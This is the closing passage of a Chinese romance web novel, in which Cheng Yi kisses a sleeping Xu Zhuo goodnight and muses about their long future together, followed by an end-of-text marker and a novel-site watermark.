回应丞弋的,是许酌逐渐平稳的呼吸。 许酌睡着了。 丞弋没有失落,吻了吻许酌的侧脸和唇角,然后说,“晚安,许酌哥。” 真好,许酌哥在他怀里睡着了。 是第一次。 但绝不会是唯一一次。 因为,以后的时间还很久很久。 他会拥有许酌哥直至化成白骨的那一刻。 ——正文完——魔·蝎·小·说·MOXIEXS &M.o.X.i.exs&